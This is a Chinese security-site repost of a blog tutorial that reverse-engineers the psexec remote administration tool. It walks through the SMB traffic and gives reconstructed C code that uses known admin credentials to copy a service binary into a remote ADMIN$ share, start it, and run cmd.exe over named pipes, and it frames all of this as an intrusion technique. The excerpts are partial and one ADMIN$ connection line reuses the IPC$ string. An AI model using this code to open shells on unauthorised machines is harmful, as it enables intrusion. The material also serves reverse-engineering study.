首页 网络安全 安全学院 查看内容

PSTOOLS系列工具分析---对PSEXEC的逆向解析

2009-11-7 13:08 860 0

摘要:   在网络攻击中,经常用到一个工具系列叫pstools,它是由Sysinternals公司推出的一个功能强大的Windows NT/2000远程管理工具包,最新版本为V2.1,包含了10多个工具。在入...
关键词: psexec ptp 192.168 命令 NULL 工具 函数 字节 机器 数据

  在网络攻击中,经常用到一个工具系列叫pstools,它是由Sysinternals公司推出的一个功能强大的Windows NT/2000远程管理工具包,最新版本为V2.1,包含了10多个工具。在入侵时,最常用的就是其中的psexec(获取对方Shell)、pslist(列举进程)、pskill(杀进程)等工具,它们使用简单,功能强大。只可惜虽然pstools的版本不断升级,但Sysinternals始终没有给出这些工具的源代码。这不符合技术共享的精神,也不利于大家的技术研究。因此,我决定对这些工具一一解析,尽管不是非常准确,但逆向工程就是这样,只要能基本推出实现思路,并给予还原即可。   本文解析的是psexec.exe,这是我目前用的相对频繁的一个工具。   Psexec的功能及用法   通过IPC对内网Windows 2000入侵时,在知道目标系统管理员权限的用户名和密码的情况下,如果对方开了IPC$和任一共享目录,我们就能够通过Copy命令或者在程序中通过CopyFile()函数拷贝一个可执行文件到目标系统中去,但是要让该文件执行起来却不是那么容易的事情。Windows 2000下有个at 命令,可以在建立IPC连接之后,让目标机器上的某一程序定时运行,格式为:   at \\目标机器 目标机器时间 可执行文件   但是实际使用时,目标机器时间是以分钟为单位,而且该机器Task Scheduler服务没有开放则会失败,总感觉不那么好用。而且想通过at命令进入目标系统下随心所欲地执行命令更是不可能。psexec.exe可以很轻松地实现这一功能。它参数很多,可以直接在命令行下输入psexec.exe命令查看,其核心功能就是远程或本地执行任意命令,并将执行的结果返回并显示出来。这里我们解析最关心的部分,就是获取远程机器的Shell(CMD窗口),即通过psexec执行远程机器cmd命令,工具用法如下:   psexec \\targetIp –u user –p pass cmd.exe   图2就是我们熟悉的DOS窗口了,dir、cd等命令任意执行都可以,是不是感觉有点像溢出攻击时的效果啊?呵呵,下面,我们来解析其中的执行流程。   思路解析   其实解决任何技术问题的前期思路都是很重要的,清晰的思路可以让我们满怀信心地沿着正确的方向前行,达到事半功倍的效果。   对psexec这类工具的解析基本思路是:网络数据包分析+静态反汇编分析+动态调试分析+代码还原。具体步骤如下:   ? 利用Sniffer对psexec执行时数据包进行捕获并分析,有助于分析工具使用的协议和大致通信流程,这里的Sniffer工具选用Ethereal。   ? 通过静态反汇编工具分析psexec,主要可以了解工具使用了哪些函数,结合前面数据包分析起来就更加清晰。   ? 在了解工具通信流程和使用函数后,随后通过Softice对部分执行过程进行跟踪,获取函数调用时参数并整理思路。   ? 代码还原。   OK,基本思路确立之后,让我们开始吧!   详细过程及代码   首先利用Ethereal分析通信数据包。这里假设目标机器为192.168.3.231,psexec运行的机器为192.168.3.158。   运行Ethereal,打开“Capture”à“Start”,在“Capture Filter”中填上:“host 192.168.3.158 and host 192.168.3.231”,这样如果两台机器没有其它通信的话,就只捕获到它们在psexec运行时的数据包了。点击“OK”后开始抓包,然后按前面的用法执行psexec。在获取目标机器DOS窗口后,点击 Ethereal的“STOP”按扭,前面已经捕获的数据包便显示出来了。   通过“Protocol”这一项,可以看到psexec在通信时主要用到了SMB这个应用层协议。简而言之,SMB(服务器信息块)协议是一个通过网络在共享文件、设备、命名管道和邮槽之间操作数据的协议,我们建立IPC连接、映射网络驱动、拷贝文件等操作都是基于SMB协议。在Windows2000下,SMB协议可以直接运行于TCP层之上,对应TCP端口为445,也可以运行于NETBIOS接口之上,对应TCP端口为139。SMB数据包结构如下:   ----------------------   | IP Header | 20字节   ----------------------   | TCP Header | 20字节   ----------------------   | NETBIOS Header | 4字节   ----------------------   | SMB Base Header | 32字节   ----------------------   | SMB Command Data |   ------------------------------   当SMB直接运行于TCP上时,4字节的NETBIOS Header以其它4字节特殊字符代替。本实验中目标机器192.168.3.231 上SMB协议直接运行于TCP上,开放445端口。根据捕获的数据包,分析双方通信流程如下:   ? 192.168.3.158向192.168.3.231发送一个SMB negprot请求数据报(negprot是磋商协议“negotiate protocol”的简写),列出了它所支持的所有SMB协议版本。   ? 192.168.3.158向192.168.3.231向服务器发起一个用户或共享的认证。这一步是Session setup and X请求数据报实现的,该请求包含了一对用户名和密码。   ? 在完成了磋商和认证之后,192.168.3.158发送一个TconX数据报并列出它想访问的特定网络资源IPC$和ADMIN$, 之后192.168.3.231会发送一个TconX应答数据报以表示此次连接是否接受或拒绝。   ? 在192.168.3.231同意访问上述资源后,192.168.3.158通过UNC规则在192.168.3.231上的ADMIN$目录下创建文件PSEXESVC.exe,并以此文件在192.168.3.231上创建服务。该服务负责执行用户提交的命令,并创建了4个命名管道,分别是接收命令参数 cmd.exe的管道hPipe,返回结果的管道hPipeStdout,在cmd中继续输入dir、cd等命令的hPipeStdin,以及返回错误信息的管道hPipeStderr。   ? 在发出命令参数 cmd.exe后,两个进程之间的通信实际上都是通过那4个命名管道来完成的。   ? 通信结束后,删除192.168.3.231的PSEXESVC.exe及相关服务。   到这里,我们已经知道了整个通信过程的大体信息。在代码还原之前,可以用反汇编工具看看psexec究竟调用了哪些API函数。运行W32Dasm89(小心使用,不要被溢出了),打开psexec.exe,从functionsàimports中看到程序中使用的API函数。   上面分析出的通信流程中可能涉及的函数居然都有,那就应该没什么问题了,现在对应流程把代码一步步写出来就行了。可能在实现过程中,一些函数的参数不好设置,往往会耽搁很久的时间。不过不着急,还有Softice。例如,你确定CreateFile函数会被调用,则在Softice中设置断点 bpx CreateFileA( 不分大小写),当程序调用该函数时,就会在函数入口处停留下来,并弹出Softice。输入命令 d esp + 4(因为只压入了eip)就可以依次看到各参数的值了。由于代码较长,这里只给出主要部分,详细代码参见光盘附带的psexec源程序。   至于SMB协议的磋商、认证和请求资源这3步,通过WNetAddConnection2( )函数完成:   NETRESOURCE nr = {0};   //构造连接请求字符串   swprintf(ipc, _T("\\\\%s\\ipc$"), ptp->tIp);   swprintf(admin, _T("\\\\%s\\admin$"), ptp->tIp);   nr.lpLocalName=NULL;   nr.lpProvider=NULL;   nr.dwType = RESOURCETYPE_ANY;   //请求IPC$   nr.lpRemoteName = ipc;   WNetAddConnection2(&nr, ptp->tPass, ptp->tUser, 0);   //请求ADMIN$   nr.lpRemoteName = ipc;   WNetAddConnection2(&nr, ptp->tPass, ptp->tUser, 0);   Psexesvc.exe整个文件的内容是以数组的形式放在psexec源文件中的。在本地测试时,很容易得到psexesvc.exe,然后用编辑工具WinHex.exe打开psexesvc.exe,点击“Edit”à“Copy all”à“C source”,粘贴到psexec源文件中即可。在192.168.3.231上创建文件主体代码如下:   swprintf(ptp->tSvcPath, _T("\\\\%s\\admin$\\system32\\PSEXESVC.EXE"), ptp->tIp);   hPsexesvc = CreateFile(ptp->tSvcPath, GENERIC_WRITE, FILE_SHARE_WRITE|FILE_SHARE_READ, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);   //往该文件中写数据, 共61440字节   unsigned char szWrite[1460];   DWORD nWritten;   int i;   for(i = 0; i < 42; i++)   {   memcpy(szWrite, strFileData + (i * 1460), 1460);   WriteFile(hPsexesvc, szWrite, 1460, &nWritten, NULL);   }   //最后120字节   memcpy(szWrite, strFileData + (42 * 1460), 120);   WriteFile(hPsexesvc, szWrite, 120, &nWritten, NULL);   创建并启动服务:   swprintf(tRemoteName, _T("\\\\%s"), ptp->tIp);   //打开服务控制管理器   ptp->hSCManager = OpenSCManager(tRemoteName, NULL, 0x000f003f);   //创建服务   ptp->hService = CreateService(ptp->hSCManager, _T("PSEXESVC"), _T("PsExec"), 0x000f01ff, 0x00000010, 3, NULL, _T("%SystemRoot%\\system32\\PSEXESVC.EXE"), NULL, NULL, NULL, NULL, NULL);   //获取服务句柄   ptp->hService = OpenService(ptp->hSCManager, _T("PSEXESVC"), GENERIC_ALL);   //启动服务   StartService(ptp->hService, 0, NULL);   //获取命名管道客户端句柄   HANDLE hPipe, hPipeStdin, hPipeStdout, hPipeStderr;   swprintf(tPipeName, _T("\\\\%s\\pipe\\psexecsvc"), ptp->tIp); //ptp->tHostName为psexec.exe所在计算机名   swprintf(tStdIn, _T("\\\\%s\\pipe\\psexecsvc-%s-0-stdin"), ptp->tIp, ptp->tHostName);   swprintf(tStdOut, _T("\\\\%s\\pipe\\psexecsvc-%s-0-stdout"), ptp->tIp, ptp->tHostName);   swprintf(tStdErr, _T("\\\\%s\\pipe\\psexecsvc-%s-0-stderr"), ptp->tIp, ptp->tHostName);   //hPipe负责接收参数cmd.exe   hPipe = CreateFile(tPipeName, 0xc0000000/*GENERIC_WRITE|GENERIC_READ*/, 0, NULL, OPEN_EXISTING, 0, NULL);   //发送命令参数   memcpy(ptp->szWriteBuf, "<%", 2);   memcpy(ptp->szWriteBuf + 8, ptp->szHostName, 15);   memcpy(ptp->szWriteBuf + 268, "cmd.exe", 7);   DWORD dwReadBytes;   TransactNamedPipe(hPipe, ptp->szWriteBuf, sizeof(ptp->szWriteBuf), ptp->szReadBuf, sizeof(ptp->szReadBuf), &dwReadBytes, NULL);   //hPipeStdin负责标准输入   hPipeStdin = CreateFile(tStdIn, 0x40000000/*GENERIC_WRITE*/, 0, NULL, OPEN_EXISTING, 0, NULL);   //hPipeStdout负责标准输出   hPipeStdout = CreateFile(tStdOut, 0x80000000/*GENERIC_READ*/, 0, NULL, OPEN_EXISTING, 0, NULL);   //hPipeStderr负责错误处理   hPipeStderr = CreateFile(tStdErr, 0x80000000/*GENERIC_READ*/, 0, NULL, OPEN_EXISTING, 0, NULL);   通过管道进行通信:   while(1)   {   //读取返回信息   bRet = ReadFile(hPipeStdout, ptp->szReadBuf, sizeof(ptp->szReadBuf), &dwReadBytes, NULL);   if(bRet && dwReadBytes != 0)   {   printf("%s", ptp->szReadBuf);   memset(ptp->szReadBuf, 0, sizeof(ptp->szReadBuf));   PeekNamedPipe(hPipeStdout, ptp->szReadBuf, sizeof(ptp->szReadBuf), &dwReadBytes, NULL, NULL);   if(dwReadBytes > 0)   continue;   }   //继续输入命令   gets(szInput);   //判断是否是exit   if(strcmp(szInput, "exit") == 0)   {   结束操作,参见psexec源文件   }   int l = strlen(szInput);   szInput[l] = 0x0d;   szInput[l + 1] = 0x0a;   for(int i = 0; i < l + 2; i++)   {   //逐字节发送命令,如dir,呵呵,好象必须一字节一字节发送,//否则会出错,这是通过Softice跟踪时发现的,55,好辛苦   WriteFile(hPipeStdin, &szInput[i], 1, &dwReadBytes, NULL);   }   } //while结束   好了,工具的代码还原部分完成了。测试一下,输入:   psexec 192.168.3.231 –u administrator –p ****   回车,OK,进去了!   小结   本文我主要对工具psexec.exe进行了解析,并给出了大概的代码。其实整个过程并不复杂,清晰的思路才是关键,这一点对于我们搞入侵研究的人尤为重要,希望能给朋友们一点启示   本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/iiprogram/archive/2008/09/10/2909699.aspx
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部